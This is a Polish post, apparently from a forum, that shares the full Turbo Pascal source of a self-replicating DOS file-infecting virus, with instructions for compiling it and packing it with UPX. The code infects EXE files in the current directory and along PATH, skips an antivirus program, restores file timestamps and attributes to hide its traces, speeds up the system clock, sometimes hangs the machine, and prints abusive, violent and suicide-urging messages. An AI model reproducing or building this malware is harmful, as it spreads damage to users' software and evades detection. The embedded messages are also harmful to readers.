Naskrobałem to dośc dawno, nie wiem, czy działa. Może się przyda?
Jak już mówiłem nie wiem, czy działa. Aby skompilować zarazek należy najpierw zrobić plik EXE z kodu jaki jest, po czym jego rozmiar podstawić do stałej virSize (teraz jest tam losowa liczba) i skompilowac finalny plik. Można spakowac sobie UPXem, to za virSize podstawiamy rozmiar spakowanego exeka.
{$A+,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-}
{$M 2048,0,0}
{Pazdzioch Virus (2005) by MCbx}
{Serdecznie dziekuje Pani od Informatyki, ktora mnie}
{tak dobrze nauczyla Pascala!!! :) }
uses DOS;
const
VirSize=11632;
var
VirData,ExeData : Array[1..VirSize] of Byte;
Sciezka : String[66]; {Sciezka do plikow EXE}
Sciezka2 : String; {Sciezka systemowa}
Katalog : String[66];
ToExe : String[5];
Plik : File;
P : File;
Licznik,Attr : Word;
Liczba : Byte;
Parametry,Sx : String;
Exe,Sr : SearchRec;
KoniecSesji : boolean;
Y,M,D,c,G,N,X,f : Word; {Mechanizm destrukcyjny}
s,o,sn,on,ic,ig : Word;
godz,min,sek,
rok,mie,dzien : Word; {Data i czas orginalu}
ft : longint;
dc : DateTime;
i : Integer;
b : Pointer;
r : Registers;
const
nazwa_wirusa : string = 'Pazdzioch - 2005';
function InfekcjaP(nazwa:string):boolean;
label dalej;
var Zarazony : boolean;
Attr : word;
begin
Assign(Plik,nazwa);
GetFAttr(Plik,Attr);
SetFAttr(Plik,0);
Reset(Plik,1);
If ((nazwa[1]='M') and (nazwa[2]='K') and (nazwa[3]='S')) then goto dalej; {Kopnelismy policjanta, to w ryj go! :P}
If (FileSize(Plik)<=VirSize) or
(FileSize(Plik)>=524000) or {Sprawdzamy wielkosc pliku, czego nie robimy dla emkaesa}
((nazwa[1]='F') and (nazwa[2]='-') and (nazwa[3]='P')) or
((nazwa[1]='N') and (nazwa[2]='C')) or
((nazwa[1]='E') and (nazwa[2]='M') and (nazwa[3]='M')) or
((nazwa[1]='S') and (nazwa[2]='E') and (nazwa[3]='T')) then
begin
InfekcjaP:=false;
Close(Plik);
SetFAttr(Plik,Attr); {tuszujemy dowody....}
end
else
dalej:
begin
GetfTime(Plik,ft);
UnpackTime(ft,dc);
with dc do
begin
godz:=hour; min:=min; sek:=sec; rok:=year; mie:=month; dzien:=day;
PackTime(dc,ft);
GetfTime(Plik,ft);
end;
BlockRead(Plik,ExeData,VirSize);
Licznik:=1;
Zarazony:=true; {zakladamy ze zarazony i probujemy to obalic}
repeat
if VirData[Licznik]<>ExeData[Licznik] then Zarazony:=false;
inc(Licznik);
until (Licznik=VirSize) or not Zarazony;
if not Zarazony then {Jesli plik jeszcze nie zarazony}
begin
Seek(Plik,0); {1 Skaczemy na poczatek pliku}
BlockWrite(Plik,VirData,VirSize); {2 Zapisujemy wirusa}
Seek(Plik,FileSize(Plik)); {3 Skaczemy na koniec pliku}
BlockWrite(Plik,ExeData,VirSize); {4 Zapisujemy orginalne bajty EXE}
InfekcjaP:=true;
end
else InfekcjaP:=false;
with dc do
begin
hour:=godz; min:=min; sec:=sek; year:=rok; month:=mie; day:=dzien;
PackTime(dc,ft);
Reset(Plik); SetfTime(Plik,ft);
end;
Close(Plik); {Zamykamy plik, wychodzimy po angielsku}
SetFAttr(Plik,Attr);
end;
end;
{Procedura uruchamia orginalny plik EXE}
procedure NicNieWidzee;
begin
Assign(Plik,ParamStr(0));
GetFAttr(Plik,Attr);
SetFAttr(Plik,0);
Reset(Plik,1);
GetfTime(Plik,ft);
UnpackTime(ft,dc);
with dc do
begin
godz:=hour; min:=min; sek:=sec; rok:=year; mie:=month; dzien:=day;
PackTime(dc,ft);
GetfTime(Plik,ft);
end;
Seek(Plik,FileSize(Plik)-VirSize);
BlockRead(Plik,ExeData,VirSize);
Seek(Plik,0);
BlockWrite(Plik,ExeData,VirSize);
Close(Plik); {Przywrocilismy exeka}
SwapVectors;
Exec(ParamStr(0),Parametry); {Uruchamiamy exeka}
SwapVectors;
Assign(Plik,ParamStr(0));
Reset(Plik,1);
BlockWrite(Plik,VirData,VirSize);
with dc do
begin
hour:=godz; min:=min; sec:=sek; year:=rok; month:=mie; day:=dzien;
PackTime(dc,ft);
Reset(Plik); SetfTime(Plik,ft);
end;
Close(Plik);
SetFAttr(Plik,Attr);
end;
{Podkrenc zegara!!!}
procedure SetFreq(freq:word);
begin
port[$43]:=$36;
port[$40]:=lo(1193180 div freq);
port[$40]:=hi(1193180 div freq);
end;
procedure PrzyspieszCzas;
begin
Setfreq(1092);
end;
procedure Ujawnij;
begin
Writeln;
Writeln(nazwa_wirusa);
Writeln;
Writeln('PAZDZIOCH-VIRUS 2005. Dzieki dla pani M. od');
Writeln('Informatyki, ktora mnie tak Pascala nauczyla!!!');
Writeln(' ');
Writeln('And Huge drops of lead/Poured upon her head/Until she was dead...');
Writeln('D. Berkowitz');
Writeln (' ');
Writeln ('HybridG jest swinia! Jak pisalimy konwencje to wporzo, a teraz wspiera monopol!');
end;
Procedure bluzg;
var k : integer;
begin
k:=random(10);
if k=1 then writeln('Osama Bin Laden. Mulla Omar. Ali Baba. Mosiul Anec.!');
if k=2 then writeln('Ty śmierdzący siarką uryną i fekaliami bydlaku! Ty rydzoholiku, NIE INSTALUJ CENZURY!');
if k=3 then writeln('Pazdzioch RZONDZI');
if k=4 then writeln('Powieś się!!! Oddaj cześć Panu i władcy piekiel :)');
if k=5 then writeln('UWAGA! Po wykonaniu tego programu przestaniesz szanować nie tylko cudze, ale i własne życie');
if k=6 then writeln('z każdym uruchomieniem poddajesz się woli Szatana, wreszcie poddasz mu się całkowicie...');
if k=7 then writeln('To ja. Wirus. by MCbx!');
if k=8 then writeln('Zerżnę twoje ciało na cmentarzu, mając na sobie kolce, krew i gwoździe');
if k=9 then writeln('Ten wirus to nasz kolejny cios w Piratow z SONY BMG i RIAA');
if k=10 then writeln('Światło Lucyfera jest z nami!');
end;
procedure SzukajExe;
begin
FindFirst(ToExe,AnyFile,Exe);
KoniecSesji:=false;
repeat
if DosError=0 then
begin
if InfekcjaP(Exe.Name) then KoniecSesji:=true
else FindNext(Exe);
end
else
begin
KoniecSesji:=true;
end;
until KoniecSesji;
end;
begin {PROG WLASCIWY}
Randomize;
GetTime(G,N,X,f);
GetDate(Y,M,D,c);
if (N>=55)and(M=10) and (D=7) then
begin
PrzyspieszCzas;
KoniecSesji:=true;
end;
if (M=11) and (D=2) and (G=22) then
begin
Ujawnij;
KoniecSesji:=true;
end;
i:=0;
i:=Random(500);
if i=100 then
begin
writeln('General Protection fault in DOS mode!');
repeat until 1=2;
KoniecSesji:=true;
end;
if (D=5) OR (D=10) OR (D=15) THEN bluzg;
Assign(Plik,ParamStr(0)); {koniec ujawnianki, zaczynamy kod}
GetFAttr(Plik,Attr);
SetFAttr(Plik,0);
Reset(Plik,1);
BlockRead(Plik,VirData,VirSize);
Close(Plik);
Parametry:='';
for Licznik:=1 to ParamCount do
Parametry:=Parametry+ParamStr(Licznik);
NicNieWidzee;
ToExe:='*.exe';
GetDir(0, Sciezka);
Katalog:=Sciezka;
SzukajExe;
Sx[1]:='\';
Sx:=GetEnv('PATH');
Liczba:=0;
for i:=1 to 6 do
begin
if Pos(';',Sx)<>0 then Liczba:=Pos(';',Sx)-1 else Liczba:=255;
Sciezka2:=Copy(Sx,1,Liczba);
ChDir(Sciezka2);
SzukajExe;
if Pos(';',Sx)<>0 then Sx:=Copy(Sx,Pos(';',Sx)+1,255);
end;
Assign(Plik,ParamStr(0));
SetFAttr(Plik,Attr);
Chdir(Katalog);
end.